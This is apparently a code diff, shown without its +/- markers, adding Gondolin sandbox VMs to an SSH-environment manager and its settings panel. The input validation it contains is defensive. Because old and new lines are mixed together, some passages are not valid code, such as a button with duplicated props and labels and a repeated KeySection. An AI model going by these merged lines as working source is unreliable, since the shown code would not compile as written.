const run = async (operation: () => Promise<void>) => {
setBusy(true);
setError(undefined);
try {
await operation();
} catch (reason) {
setError(errorText(reason));
} finally {
setBusy(false);
}
};
const sshEnvs = (envs ?? []).filter((entry) => entry.config.type === "ssh");
const sandboxesOn = (host: string) =>
(envs ?? []).filter((entry) => entry.config.type === "gondolin" && entry.config.host === host);
const name = editing?.draft.name.trim() ?? "";
const updateSsh = (patch: Partial<SshDraft>) =>
setEditing((current) =>
current?.kind === "ssh" ? { ...current, draft: { ...current.draft, ...patch } } : current,
);
const updateSandbox = (patch: Partial<SandboxDraft>) =>
setEditing((current) =>
current?.kind === "gondolin" ? { ...current, draft: { ...current.draft, ...patch } } : current,
);
const testNow = async () => {
if (!service) return;
setTest(await service.test({ name }, BACKGROUND_CONTEXT));
// A sandbox's test starts its VM.
if (editing?.kind === "gondolin") void readVm(name)?.then((vm) => setVm(name, vm));
};
/** Saves the form: the environment is listed (and the form an existing one's) at once; the save's call. */
const save = (): Promise<unknown> | undefined => {
if (!service || !editing) return undefined;
setError(undefined);
let config: EnvConfig;
try {
config = editing.kind === "ssh" ? sshConfigOf(editing.draft) : sandboxConfigOf(editing.draft);
} catch (reason) {
setError(errorText(reason));
return undefined;
}
const saving = service.save({ name, config }, BACKGROUND_CONTEXT);
edit({ kind: "save", name, config }, () => saving);
setEditing((current) => current && { ...current, existing: true });
if (!editing.existing) {
filled.current = name;
void nav.replace({
...nav.route,
layers: [...nav.route.layers.slice(0, -1), { kind: "sheet", name: "envs", locator: name }],
});
}
// A running VM keeps its configuration until it restarts: read whether it is still current.
if (editing.kind === "gondolin")
void saving.then(
() => readVm(name)?.then((vm) => setVm(name, vm)),
() => {},
);
return saving;
};
/**
* Saves, then tests (an SSH env) or starts the VM (a sandbox; a running one restarts, applying the change): long
* work, so the form shows "Working…" until it answers.
*/
const saveAnd = (then: "test" | "start" | "restart") =>
void run(async () => {
const saving = save();
if (!saving || !service) return;
await saving;
if (then === "test") return testNow();
if (then === "restart") await service.sandboxStop({ name }, BACKGROUND_CONTEXT);
setVm(name, await service.sandboxStart({ name }, BACKGROUND_CONTEXT));
});
if (editing) {
const { existing } = editing;
const saved = envs?.find((env) => env.name === name);
const sessions = saved?.sessions ?? 0;
const sandbox = editing.kind === "gondolin";
const hostedSandboxes = editing.kind === "ssh" && existing ? sandboxesOn(name) : [];
const vm = vms[name];
const ready = Boolean(name && editing.draft.host.trim());
return (
<Sheet title={existing ? name : sandbox ? "New sandbox" : "New environment"} onClose={onClose}>
{editing.kind === "gondolin" && (
<>
{existing && saved?.config.type === "gondolin" && service && (
<div className="stack sandbox-status">
<VmStatus vm={vm} host={saved.config.host} />
<div className="inline-form">
{vm?.state === "running" ? (
<>
<button
type="button"
className="button"
disabled={busy}
onClick={() =>
void run(async () =>
setVm(name, await service.sandboxStop({ name }, BACKGROUND_CONTEXT)),
)
}
>
Stop
</button>
<button
type="button"
className="button"
disabled={busy}
onClick={() =>
void run(async () => {
setVm(name, await service.sandboxStop({ name }, BACKGROUND_CONTEXT));
setVm(name, await service.sandboxStart({ name }, BACKGROUND_CONTEXT));
})
}
>
Restart
</button>
</>
) : (
<button
type="button"
className="button"
disabled={busy}
onClick={() =>
void run(async () =>
setVm(name, await service.sandboxStart({ name }, BACKGROUND_CONTEXT)),
)
}
>
Start
</button>
)}
<button type="button" className="button" disabled={busy} onClick={() => void run(testNow)}>
{busy ? "Working…" : "Test"}
</button>
</div>
</div>
)}
<p className="muted small sandbox-intro">
A VM on {editing.draft.host || "an SSH environment"}. It sees only the folders listed here and
reaches only the allowed hosts; sessions working in it cannot leave it.
</p>
</>
)}
<form
className="stack env-form"
onSubmit={(event) => {
event.preventDefault();
// A refused save shows through its rollback.
void save()?.catch(() => {});
}}
>
{editing.kind === "ssh" ? (
<SshFields draft={editing.draft} existing={existing} update={updateSsh} />
) : (
<SandboxFields
draft={editing.draft}
existing={existing}
hosts={sshEnvs.map((env) => env.name)}
update={updateSandbox}
/>
)}
<div className="inline-form">
<button type="submit" className="button" disabled={busy || !ready}>
Save
</button>
<button
type="button"
className="button primary"
disabled={busy || !name || !draft.host.trim()}
onClick={saveAndTest}
disabled={busy || !ready}
onClick={() => saveAnd(sandbox ? (vm?.state === "running" ? "restart" : "start") : "test")}
>
{busy ? "Working…" : "Save and test"}
{busy
? "Working…"
: sandbox
? vm?.state === "running"
? "Save and restart"
: "Save and start"
: "Save and test"}
</button>
</div>
</form>
{service && <KeySection service={service} name={name} onKey={(identityFile) => update({ identityFile })} />}
{editing.kind === "ssh" && service && (
<KeySection service={service} name={name} onKey={(identityFile) => updateSsh({ identityFile })} />
)}
{test && service && (
<TestResult
test={test}
@ -476,13 +975,13 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
onAccept={(lines) =>
void run(async () => {
await service.acceptHostKey({ name, lines }, BACKGROUND_CONTEXT);
setTest(await service.test({ name }, BACKGROUND_CONTEXT));
await testNow();
})
}
onForget={() =>
void run(async () => {
await service.forgetHostKey({ name }, BACKGROUND_CONTEXT);
setTest(await service.test({ name }, BACKGROUND_CONTEXT));
await testNow();
})
}
/>
@ -492,13 +991,34 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
{error}
</p>
)}
{editing.kind === "ssh" && existing && (
<div className="list">
<span className="label">Sandboxes on {name}</span>
{hostedSandboxes.map((entry) => (
<SandboxRow
key={entry.name}
env={entry}
vm={vms[entry.name]}
indented={false}
onOpen={() => toScreen(entry.name)}
/>
))}
<button type="button" className="row-button" onClick={() => toScreen(`${NEW_SANDBOX}${name}`)}>
<span>
<PlusIcon size={14} /> Add sandbox
</span>
</button>
</div>
)}
<div className="list">
{existing &&
(sessions > 0 ? (
<p className="muted small">
Used by {sessions} session{sessions === 1 ? "" : "s"} (archived ones included); it cannot be
deleted while they exist.
Used by {plural(sessions, "session")} (archived ones included); it cannot be deleted while they
exist.
</p>
) : hostedSandboxes.length > 0 ? (
<p className="muted small">Sandboxes run on it; delete them before the environment.</p>
) : confirmDelete ? (
<div className="inline-form">
<span className="small">Delete "{name}"?</span>
@ -520,7 +1040,7 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
</div>
) : (
<button type="button" className="text-action danger" onClick={() => setConfirmDelete(true)}>
Delete environment
{sandbox ? "Delete sandbox" : "Delete environment"}
</button>
))}
<button type="button" className="text-action" onClick={() => toScreen(undefined, "close")}>
@ -535,6 +1055,7 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
<p className="muted small">
Sessions in a remote environment run their tools on that machine over SSH; the agent, its history and your
credentials stay here. Keys come from your SSH agent or identity file; passwords are not supported.
Sandboxes are VMs on a remote environment that sessions working in them cannot leave.
</p>
{(error || loadError) && (
<p className="notice error" role="alert">
@ -542,10 +1063,12 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
</p>
)}
<div className="list">
{envs?.map((entry) => (
<button type="button" key={entry.name} className="row-button" onClick={() => toScreen(entry.name)}>
{sshEnvs.map((entry) => (
<div key={entry.name} className="env-group">
<button type="button" className="row-button" onClick={() => toScreen(entry.name)}>
<span>
<strong>{entry.name}</strong> <span className="muted mono small">{entry.config.host}</span>
<strong>{entry.name}</strong>{" "}
<span className="muted mono small">{entry.config.type === "ssh" && entry.config.host}</span>
</span>
<small className="row-value">
{entry.test === undefined
@ -556,6 +1079,27 @@ export function EnvsPanel({ env: screen, onClose }: { env?: string; onClose: ()
</small>
<ChevronIcon />
</button>
{sandboxesOn(entry.name).map((sandbox) => (
<SandboxRow
key={sandbox.name}
env={sandbox}
vm={vms[sandbox.name]}
indented
onOpen={() => toScreen(sandbox.name)}
/>
))}
{hostsSandboxes(entry) && (
<button
type="button"
className="row-button env-sandbox"
onClick={() => toScreen(`${NEW_SANDBOX}${entry.name}`)}
>
<span className="muted">
<PlusIcon size={14} /> Add sandbox on {entry.name}
</span>
</button>
)}
</div>
))}
{envs && !envs.length && <p className="empty-note">No environments yet.</p>}
<button type="button" className="row-button" onClick={() => toScreen("")}>

View file

@ -1,10 +1,19 @@
import { join } from "node:path";
import { compile } from "@earendil-works/pi-schema";
import { envRevision, LockedFile, optionalText, stripBom, stripJsonComments } from "@p2/app/v1/node";
import { ENV_NAME, type EnvConfig, EnvConfigSchema, type EnvsConfig } from "./schema.ts";
import { ENV_NAME, type EnvConfig, EnvConfigSchema, type EnvsConfig, type GondolinEnvConfig } from "./schema.ts";
export { envRevision } from "@p2/app/v1/node";
export { ENV_NAME, type EnvConfig, EnvConfigSchema, type EnvsConfig } from "./schema.ts";
export {
ENV_NAME,
type EnvConfig,
EnvConfigSchema,
type EnvsConfig,
type GondolinEnvConfig,
isSandbox,
type SandboxMount,
type SshEnvConfig,
} from "./schema.ts";
const validator = compile(EnvConfigSchema);
@ -17,15 +26,74 @@ function sshField(value: string | undefined): boolean {
return value === undefined || (!value.startsWith("-") && !/\s/.test(value) && !hasControl(value));
}
/** Paths p2 uses in a sandbox: where pi-env's daemon is copied, where Gondolin mounts the folders before binding. */
const RESERVED = ["/opt/pi-env", "/.p2-vfs"];
/** A path inside a sandbox: absolute, normalized, not the root, without control characters. */
function guestPath(path: string): boolean {
return (
path.startsWith("/") &&
path !== "/" &&
!hasControl(path) &&
path
.split("/")
.slice(1)
.every((part) => part !== "" && part !== "." && part !== "..")
);
}
/** One configuration on its own (a sandbox's host is checked against the others by `parseEnvs`). */
export function validateEnv(value: unknown): EnvConfig {
if (!validator.check(value)) throw new Error("Invalid environment configuration");
const config = structuredClone(value) as EnvConfig;
if (config.type === "gondolin") {
if (!ENV_NAME.test(config.host)) throw new Error("Invalid host environment");
if (config.image !== undefined && !/^[A-Za-z0-9][A-Za-z0-9._:/@-]*$/.test(config.image))
throw new Error("Invalid image");
const guests = new Set<string>();
for (const mount of config.mounts ?? []) {
const host = mount.host === "~" || mount.host.startsWith("~/") || mount.host.startsWith("/");
if (!host || hasControl(mount.host)) throw new Error(`Invalid folder: ${mount.host}`);
if (!guestPath(mount.guest)) throw new Error(`Invalid path in the sandbox: ${mount.guest}`);
if (
RESERVED.some(
(reserved) =>
mount.guest === reserved ||
reserved.startsWith(`${mount.guest}/`) ||
mount.guest.startsWith(`${reserved}/`),
)
)
throw new Error(`${mount.guest} is used by p2 in the sandbox (${RESERVED.join(", ")})`);
// The launcher refuses these too, after resolving the path on the host; this is the form's early answer.
if (!mount.readonly && (mount.host === "~" || mount.host === "/" || /^~\/\.pi(\/|$)/.test(mount.host)))
throw new Error(`A writable folder must not contain or be inside ~/.pi: ${mount.host}`);
if (guests.has(mount.guest)) throw new Error(`Two folders at ${mount.guest}`);
guests.add(mount.guest);
}
for (const pattern of config.allowHosts ?? [])
if (!/^[A-Za-z0-9*][A-Za-z0-9.*-]*$/.test(pattern)) throw new Error(`Invalid allowed host: ${pattern}`);
return config;
}
if (!sshField(config.host) || !sshField(config.user)) throw new Error("Invalid host or user");
if (hasControl(config.identityFile ?? "") || config.identityFile?.includes('"'))
throw new Error("Invalid identity file");
return config;
}
/** Every sandbox runs on a configured SSH environment. */
function checkHosts(envs: EnvsConfig): void {
for (const [name, config] of Object.entries(envs))
if (config.type === "gondolin" && envs[config.host]?.type !== "ssh")
throw new Error(`Sandbox ${name} runs on "${config.host}", which is not an SSH environment`);
}
/** The sandboxes running on SSH environment `host`. */
export function sandboxesOn(envs: EnvsConfig, host: string): [string, GondolinEnvConfig][] {
return Object.entries(envs).flatMap(([name, config]): [string, GondolinEnvConfig][] =>
config.type === "gondolin" && config.host === host ? [[name, config]] : [],
);
}
export function parseEnvs(content: string): EnvsConfig {
let value: unknown;
try {
@ -39,6 +107,7 @@ export function parseEnvs(content: string): EnvsConfig {
if (!ENV_NAME.test(name)) throw new Error(`Invalid environment name: ${name}`);
envs[name] = validateEnv(config);
}
checkHosts(envs);
return envs;
}
@ -58,8 +127,12 @@ export async function saveEnv(directory: string, name: string, config: EnvConfig
try {
await file.withLockAsync(async (current) => {
const envs = current === undefined ? {} : parseEnvs(current);
if (value === undefined) delete envs[name];
else envs[name] = value;
if (value === undefined) {
const on = sandboxesOn(envs, name).map(([sandbox]) => sandbox);
if (on.length) throw new Error(`Sandboxes run on "${name}": ${on.join(", ")}`);
delete envs[name];
} else envs[name] = value;
checkHosts(envs);
return { result: undefined, next: `${JSON.stringify(envs, null, 2)}\n` };
});
} finally {

View file

@ -0,0 +1,12 @@
// The revision a connection to an environment was opened for: its own configuration's, and for a sandbox also its
// host's (the connection goes through the host), so editing either starts a new connection.
import { envRevision } from "@p2/app/v1/node";
import type { EnvConfig, EnvsConfig } from "./schema.ts";
/** The connection revision of an environment configured as `config`, under `configs` (where a sandbox finds its host). */
export function connectionRevision(configs: EnvsConfig, config: EnvConfig): string {
if (config.type === "ssh") return envRevision(config);
const host = Object.hasOwn(configs, config.host) ? configs[config.host] : undefined;
return `${envRevision(config)}+${host === undefined ? "" : envRevision(host)}`;
}

View file

@ -1,8 +1,25 @@
import { arr, nul, num, obj, opt, type Static, str, union } from "@earendil-works/pi-schema";
import { arr, bool, nul, num, obj, opt, type Static, str, union } from "@earendil-works/pi-schema";
import { DirectoryListingSchema, defineRegistry, literal, local, method, record, remote, serverHost } from "@p2/app/v1";
import type { EnvManager } from "./manager.ts";
import { EnvConfigSchema } from "./schema.ts";
/** Whether an SSH env can host sandboxes: natively, through Docker, or not (`detail` says why or how). */
export const SandboxSupportSchema = obj({
runtime: union([literal("native"), literal("docker"), literal("none")]),
detail: str(),
});
export type SandboxSupport = Static<typeof SandboxSupportSchema>;
/**
* A sandbox's VM: stopped, or running since `startedAt`; `current` is false while it runs an older configuration
* (changes apply when it restarts).
*/
export const SandboxStatusSchema = union([
obj({ state: literal("stopped") }),
obj({ state: literal("running"), startedAt: num(), cpus: num(), memoryMb: num(), current: bool() }),
]);
export type SandboxStatus = Static<typeof SandboxStatusSchema>;
export const EnvTestSchema = union([
obj({
ok: literal(true),
@ -14,6 +31,8 @@ export const EnvTestSchema = union([
latencyMs: num(),
watchMode: union([literal("native"), literal("polling")]),
warnings: arr(str()),
/** SSH envs: whether the host can run sandboxes. */
sandboxes: opt(SandboxSupportSchema),
}),
obj({
ok: literal(false),
@ -81,6 +100,12 @@ export const Envs = remote("p2.envs", {
uploadKey: method(obj({ name: str(), key: str({ maxLength: 16384 }) }), Key),
publicKey: method(Name, union([str(), nul()])),
listDirectory: method(obj({ env: opt(str()), path: str() }), DirectoryListingSchema),
/** A sandbox's VM state, read from its host. */
sandboxStatus: method(Name, SandboxStatusSchema),
/** Starts a sandbox's VM (with its current configuration) unless it runs. */
sandboxStart: method(Name, SandboxStatusSchema),
/** Stops a sandbox's VM; conversations working there reconnect and start it again at their next tool call. */
sandboxStop: method(Name, SandboxStatusSchema),
},
},
},

View file

@ -8,18 +8,33 @@ import {
acceptHostKey,
type Connection,
connectSsh,
detectPlatform,
forgetHostKey,
HostKeyChangedError,
HostKeyUnknownError,
RemoteExecutionEnv,
type RemotePlatform,
type SshTarget,
scanHostKey,
sshConnection,
} from "@earendil-works/pi-env";
import { compile } from "@earendil-works/pi-schema";
import { BACKGROUND_CONTEXT } from "@p2/app/v1";
import { remotePaths, value } from "@p2/app/v1/node";
import { ENV_NAME, type EnvConfig, envId, envRevision, loadEnvs, saveEnv } from "./config.ts";
import type { DirectoryListing, EnvSummary, EnvTest } from "./contract.ts";
import { type RemoteSession, remoteSession, sshOptions } from "./remote-env.ts";
import {
ENV_NAME,
type EnvConfig,
envId,
envRevision,
type GondolinEnvConfig,
loadEnvs,
type SshEnvConfig,
saveEnv,
} from "./config.ts";
import { connectionRevision } from "./connection-revision.ts";
import type { DirectoryListing, EnvSummary, EnvTest, SandboxStatus, SandboxSupport } from "./contract.ts";
import { envConnection, type RemoteSession, remoteSession, sandboxHost, sshOptions } from "./remote-env.ts";
import { launcherCommand, sandboxArgument, sandboxKey, sandboxRevision } from "./sandbox-host.ts";
import { LauncherCheckSchema, LauncherStatusSchema } from "./sandbox-schema.ts";
const errorMessage = (error: unknown): string => (error instanceof Error ? error.message : String(error));
@ -33,6 +48,8 @@ const LISTING_LIMIT = 1000;
const MAX_KEY_BYTES = 16 * 1024;
const run = promisify(execFile);
const checkReport = compile(LauncherCheckSchema);
const statusReport = compile(LauncherStatusSchema);
type Browser = { revision: string; session: RemoteSession; timer?: ReturnType<typeof setTimeout> };
@ -44,16 +61,20 @@ export class EnvManager {
private readonly browsers = new Map<string, Browser>();
private readonly session: (name: string, config: EnvConfig) => RemoteSession;
/** The sandbox launcher's source directory (this plugin's sandbox/). */
private readonly launcher: string;
/** `session` replaces SSH for tests: the environment that browses an env's directories. */
constructor(
directory: string,
uses: (name: string) => Promise<number>,
launcher: string,
session: (name: string, config: EnvConfig) => RemoteSession = (name, config) =>
remoteSession(directory, name, config, "/"),
remoteSession(directory, name, config, "/", { launcher }),
) {
this.directory = directory;
this.uses = uses;
this.launcher = launcher;
this.session = session;
}
@ -64,12 +85,19 @@ export class EnvManager {
return config;
}
/** An SSH env's configuration; sandboxes have no host keys or SSH keys of their own. */
async sshConfig(name: string): Promise<SshEnvConfig> {
const config = await this.config(name);
if (config.type !== "ssh") throw new Error(`"${name}" is a sandbox; manage its host's SSH settings instead`);
return config;
}
/**
* A pi-env connection to env `name` configured as `config`, over SSH with p2's key and known hosts, deploying the
* daemon pi-env ships. It starts at its first request; the caller closes it.
* A pi-env connection to env `name` configured as `config` (a sandbox: through its host), with p2's key and known
* hosts, deploying the daemon pi-env ships. It starts at its first request; the caller closes it.
*/
connection(name: string, config: EnvConfig): Connection {
return sshConnection(sshOptions(this.directory, name, config)).connection;
return envConnection(this.directory, name, config, { launcher: this.launcher }).connection;
}
async list(): Promise<EnvSummary[]> {
@ -84,15 +112,36 @@ export class EnvManager {
);
}
/**
* Other changes of a sandbox apply when its VM restarts; moving it to another host stops the VM on the old one first
* (nothing could reach it afterwards), refusing the change when that fails.
*/
async save(name: string, config: EnvConfig): Promise<void> {
const configs = await loadEnvs(this.directory);
const previous = Object.hasOwn(configs, name) ? configs[name] : undefined;
if (previous?.type === "gondolin" && (config.type !== "gondolin" || config.host !== previous.host))
await this.sandboxStop(name).catch((error: unknown) => {
throw new Error(
`Could not stop sandbox ${name}'s VM on "${previous.host}", so it was not moved: ${errorMessage(error)}`,
);
});
await saveEnv(this.directory, name, config);
this.release(name);
}
/** Refused while any session, archived or not, references the env: sessions never fall back to local tools. */
/**
* Refused while any session, archived or not, references the env: sessions never fall back to local tools. A
* sandbox's VM is stopped first (nothing could stop it once its configuration is gone); deleting is refused when that
* fails.
*/
async delete(name: string): Promise<void> {
const uses = await this.uses(name);
if (uses > 0) throw new Error(`${uses} session${uses === 1 ? "" : "s"} still use "${name}"`);
const configs = await loadEnvs(this.directory);
if (Object.hasOwn(configs, name) && configs[name]?.type === "gondolin")
await this.sandboxStop(name).catch((error: unknown) => {
throw new Error(`Could not stop sandbox ${name}'s VM, so it was not deleted: ${errorMessage(error)}`);
});
await saveEnv(this.directory, name, undefined);
this.release(name);
// A key p2 generated or stored for this env goes with it.
@ -119,7 +168,8 @@ export class EnvManager {
private async adoptKey(name: string, path: string): Promise<void> {
const configs = await loadEnvs(this.directory);
const config = Object.hasOwn(configs, name) ? configs[name] : undefined;
if (config && config.identityFile !== path) await this.save(name, { ...config, identityFile: path });
if (config?.type === "ssh" && config.identityFile !== path)
await this.save(name, { ...config, identityFile: path });
}
/**
@ -169,16 +219,26 @@ export class EnvManager {
}
}
/** Connect as a session would (detect, deploy, start), then measure what the Envs panel shows. */
/**
* Connect as a session would (detect, deploy, start; a sandbox: start its VM), then measure what the Envs panel
* shows. An SSH env's test also reports whether it can host sandboxes.
*/
async test(name: string): Promise<EnvTest> {
const config = await this.config(name);
const key = `${name}@${envRevision(config)}`;
const options = sshOptions(this.directory, name, config);
const warnings: string[] = [];
let result: EnvTest;
try {
const { connection, remote } = await connectSsh({ ...options, onLog: () => {} });
try {
const result = config.type === "ssh" ? await this.testSsh(name, config) : await this.testSandbox(name, config);
this.tests.set(key, result);
return result;
}
/** Measure a started connection: its home, round trip and watch mode. */
private async measure(
name: string,
config: EnvConfig,
connection: Connection,
remote: { platform: string; arch: string },
warnings: string[],
): Promise<EnvTest> {
const info = await connection.info();
const env = new RemoteExecutionEnv({ connection, id: envId(name, config), cwd: info.home });
const started = performance.now();
@ -187,8 +247,7 @@ export class EnvManager {
const watcher = value(await env.watch([{ path: info.home }], () => {}, context));
const watchMode = watcher.mode;
await watcher.stop(context);
warnings.push(...remote.warnings);
result = {
return {
ok: true,
testedAt: Date.now(),
platform: remote.platform,
@ -199,6 +258,31 @@ export class EnvManager {
watchMode,
warnings,
};
}
private async testSandbox(name: string, config: GondolinEnvConfig): Promise<EnvTest> {
const { connection } = envConnection(this.directory, name, config, {
launcher: this.launcher,
onLog: () => {},
});
try {
const info = await connection.info();
return await this.measure(name, config, connection, { platform: "linux", arch: info.arch }, []);
} catch (error) {
return { ok: false, testedAt: Date.now(), error: errorMessage(error) };
} finally {
connection.close();
}
}
private async testSsh(name: string, config: SshEnvConfig): Promise<EnvTest> {
const options = sshOptions(this.directory, name, config);
let result: EnvTest;
try {
const { connection, remote } = await connectSsh({ ...options, onLog: () => {} });
try {
result = await this.measure(name, config, connection, remote, [...remote.warnings]);
if (result.ok) result.sandboxes = await sandboxSupport(options, remote, this.launcher);
} finally {
connection.close();
}
@ -214,24 +298,70 @@ export class EnvManager {
};
}
}
this.tests.set(key, result);
return result;
}
/** The host of sandbox `name` and the system it runs (Linux, or the error saying otherwise). */
private async sandboxTarget(
name: string,
): Promise<{ config: GondolinEnvConfig; target: SshTarget; remote: RemotePlatform }> {
const config = await this.config(name);
if (config.type !== "gondolin") throw new Error(`"${name}" is not a sandbox`);
const target = await sandboxHost(this.directory, name, config.host);
const remote = await detectPlatform(target);
if (remote.platform !== "linux")
throw new Error(`Sandboxes need a Linux host; "${config.host}" runs ${remote.platform}`);
return { config, target, remote };
}
/** Run a launcher command for sandbox `name` on its host and read the VM's state from its answer. */
private async sandboxCommand(name: string, command: "status" | "start" | "stop"): Promise<SandboxStatus> {
const { config, target, remote } = await this.sandboxTarget(name);
const key = sandboxKey(this.directory, name);
const args = command === "start" ? [command, key, sandboxArgument(config)] : [command, key];
const report = await launcherCommand(target, remote, this.launcher, args);
// The host's answer is wire input.
if (!statusReport.check(report)) throw new Error("Unexpected answer from the sandbox launcher");
if (report.state === "stopped") return { state: "stopped" };
return {
state: "running",
startedAt: report.startedAt,
cpus: report.cpus,
memoryMb: report.memoryMb,
current: report.revision === sandboxRevision(config),
};
}
sandboxStatus(name: string): Promise<SandboxStatus> {
return this.sandboxCommand(name, "status");
}
async sandboxStart(name: string): Promise<SandboxStatus> {
return this.sandboxCommand(name, "start");
}
/** Stops the VM; the browsing connection goes with it. */
async sandboxStop(name: string): Promise<SandboxStatus> {
this.release(name);
return this.sandboxCommand(name, "stop");
}
async acceptHostKey(name: string, lines: readonly string[]): Promise<void> {
await acceptHostKey(sshOptions(this.directory, name, await this.config(name)), lines);
await acceptHostKey(sshOptions(this.directory, name, await this.sshConfig(name)), lines);
this.release(name);
}
async forgetHostKey(name: string): Promise<void> {
await forgetHostKey(sshOptions(this.directory, name, await this.config(name)));
await forgetHostKey(sshOptions(this.directory, name, await this.sshConfig(name)));
this.release(name);
}
/** A connection for browsing an env's directories, shared and closed after a while without use. */
private async browser(name: string): Promise<RemoteSession> {
const configs = await loadEnvs(this.directory);
const config = await this.config(name);
const revision = envRevision(config);
// A sandbox's connection goes through its host: an edit of either starts a new one.
const revision = connectionRevision(configs, config);
let browser = this.browsers.get(name);
if (browser?.revision !== revision) {
this.release(name);
@ -265,9 +395,13 @@ export class EnvManager {
return value(await session.env.absolutePath(absolute, context));
}
/** Start the connections of every env in the background, so the first listing does not wait for ssh. */
/**
* Start the connections of every SSH env in the background, so the first listing does not wait for ssh. Sandboxes
* are left alone: connecting to one starts its VM.
*/
async warm(): Promise<void> {
for (const name of Object.keys(await loadEnvs(this.directory)))
for (const [name, config] of Object.entries(await loadEnvs(this.directory)))
if (config.type === "ssh")
void this.browser(name)
.then((session) => session.connection.info())
.catch(() => {});
@ -341,3 +475,32 @@ export class EnvManager {
for (const name of [...this.browsers.keys()]) this.release(name);
}
}
/** Whether the host can run sandboxes, from the launcher's `check`; a failed check is a "none" with its error. */
async function sandboxSupport(target: SshTarget, remote: RemotePlatform, launcher: string): Promise<SandboxSupport> {
if (remote.platform !== "linux")
return { runtime: "none", detail: `Sandboxes need Linux; this host runs ${remote.platform}.` };
let report: unknown;
try {
report = await launcherCommand(target, remote, launcher, ["check"]);
} catch (error) {
return { runtime: "none", detail: `The sandbox check failed: ${errorMessage(error)}` };
}
// The host's answer is wire input.
if (!checkReport.check(report)) return { runtime: "none", detail: "The sandbox check answered unexpectedly." };
const qemu = report.qemu ? `QEMU ${report.qemu}` : "no QEMU";
const [major = 0, minor = 0] = report.qemu.split(".").map(Number);
const native: string[] = [];
if (!report.kvm) native.push(report.kvmDevice ? "/dev/kvm is not accessible to this user" : "there is no /dev/kvm");
if (!report.qemu) native.push("QEMU is not installed");
else if (major < 7 || (major === 7 && minor < 2)) native.push(`QEMU ${report.qemu} is too old (Gondolin needs 7.2)`);
if (!report.node || Number(report.node.split(".")[0]) < 22) native.push("Node 22 or newer is not installed");
if (report.runtime === "native")
return { runtime: "native", detail: `Gondolin runs natively (${qemu}, Node ${report.node}, KVM).` };
if (report.runtime === "docker")
return { runtime: "docker", detail: `Gondolin runs in Docker${native.length ? `: ${native.join(", ")}` : ""}.` };
return {
runtime: "none",
detail: `This host cannot run sandboxes: ${[...native, ...(report.docker ? [] : ["no usable Docker"])].join(", ")}.`,
};
}

View file

@ -1,14 +1,20 @@
import {
type Connection,
Connection,
type ConnectionOptions,
deployDaemon,
detectPlatform,
packagedDaemon,
RemoteExecutionEnv,
type RemotePlatform,
type SshConnectOptions,
sshArguments,
sshConnection,
} from "@earendil-works/pi-env";
import { type EnvConfig, envId, hostKeyAlias, knownHostsPath } from "./config.ts";
import { type EnvConfig, envId, hostKeyAlias, knownHostsPath, loadEnvs, type SshEnvConfig } from "./config.ts";
import { deployedCommand, deployLauncher, runLauncher, sandboxArgument, sandboxKey } from "./sandbox-host.ts";
/** `connectSsh`/`sshConnection` options for an env of `envs.json`. */
export function sshOptions(directory: string, name: string, config: EnvConfig): SshConnectOptions {
/** `connectSsh`/`sshConnection` options for an SSH env of `envs.json`. */
export function sshOptions(directory: string, name: string, config: SshEnvConfig): SshConnectOptions {
return {
host: config.host,
...(config.user === undefined ? {} : { user: config.user }),
@ -20,6 +26,73 @@ export function sshOptions(directory: string, name: string, config: EnvConfig):
};
}
export type EnvConnectOptions = {
/**
* The sandbox launcher's source directory (this plugin's sandbox/: `pluginFile("sandbox")` in a facet); needed by
* sandboxes only.
*/
launcher?: string;
/** The daemon to run (default: the one pi-env ships for the machine). */
binary?: string;
onLog?: ConnectionOptions["onLog"];
};
/** A connection and, once it started, the system it runs on (a sandbox's: Linux on its host's architecture). */
export type EnvConnection = { connection: Connection; remote(): RemotePlatform | undefined };
/**
* A pi-env connection to env `name` that starts at its first request: over SSH for an SSH env; for a sandbox, over SSH
* to its host, where p2's launcher starts the sandbox's VM if needed and runs the daemon in it. A sandbox's host
* configuration is read from `directory`'s envs.json at each start.
*/
export function envConnection(
directory: string,
name: string,
config: EnvConfig,
options: EnvConnectOptions = {},
): EnvConnection {
if (config.type === "ssh")
return sshConnection({
...sshOptions(directory, name, config),
...(options.binary === undefined ? {} : { binary: options.binary }),
...(options.onLog === undefined ? {} : { onLog: options.onLog }),
});
let remote: RemotePlatform | undefined;
const { launcher } = options;
const connection = new Connection({
command: async () => {
if (launcher === undefined) throw new Error(`No sandbox launcher to start sandbox ${name}`);
const host = await sandboxHost(directory, name, config.host);
const detected = remote ?? (await detectPlatform(host));
if (detected.platform !== "linux")
throw new Error(`Sandboxes need a Linux host; "${config.host}" runs ${detected.platform}`);
remote = detected;
// The VM is Linux on the host's architecture: the host's own daemon runs in it.
const daemon = await deployDaemon(host, detected, options.binary ?? packagedDaemon(detected));
const deployed = await deployLauncher(host, detected, launcher);
// Start the VM first, with the launcher's own allowance (a first start may build the Docker image and download
// the guest image): the daemon connection must answer within pi-env's 30 s once it runs.
const key = sandboxKey(directory, name);
await deployedCommand(host, deployed, ["start", key, sandboxArgument(config)]);
return [
host.ssh ?? "ssh",
...sshArguments(host),
runLauncher(deployed, ["daemon", key, sandboxArgument(config), daemon, "--"]),
];
},
...(options.onLog === undefined ? {} : { onLog: options.onLog }),
});
return { connection, remote: () => remote };
}
/** The SSH options of sandbox `name`'s host `host`, as configured now. */
export async function sandboxHost(directory: string, name: string, host: string): Promise<SshConnectOptions> {
const configs = await loadEnvs(directory);
const config = Object.hasOwn(configs, host) ? configs[host] : undefined;
if (config?.type !== "ssh") throw new Error(`Sandbox ${name} runs on "${host}", which is not an SSH environment`);
return sshOptions(directory, host, config);
}
export type RemoteSession = {
env: RemoteExecutionEnv;
connection: Connection;
@ -38,19 +111,18 @@ export function remoteSession(
name: string,
config: EnvConfig,
cwd: string,
onLog?: (text: string) => void,
options: Omit<EnvConnectOptions, "binary"> = {},
): RemoteSession {
const { connection, remote } = sshConnection({
...sshOptions(directory, name, config),
...(onLog === undefined ? {} : { onLog }),
});
const { connection, remote } = envConnection(directory, name, config, options);
const shellPath = config.type === "ssh" ? config.shellPath : undefined;
const shellEnv = config.type === "ssh" ? config.shellEnv : undefined;
const at = (directory: string) =>
new RemoteExecutionEnv({
connection,
id: envId(name, config),
cwd: directory,
...(config.shellPath === undefined ? {} : { shellPath: config.shellPath }),
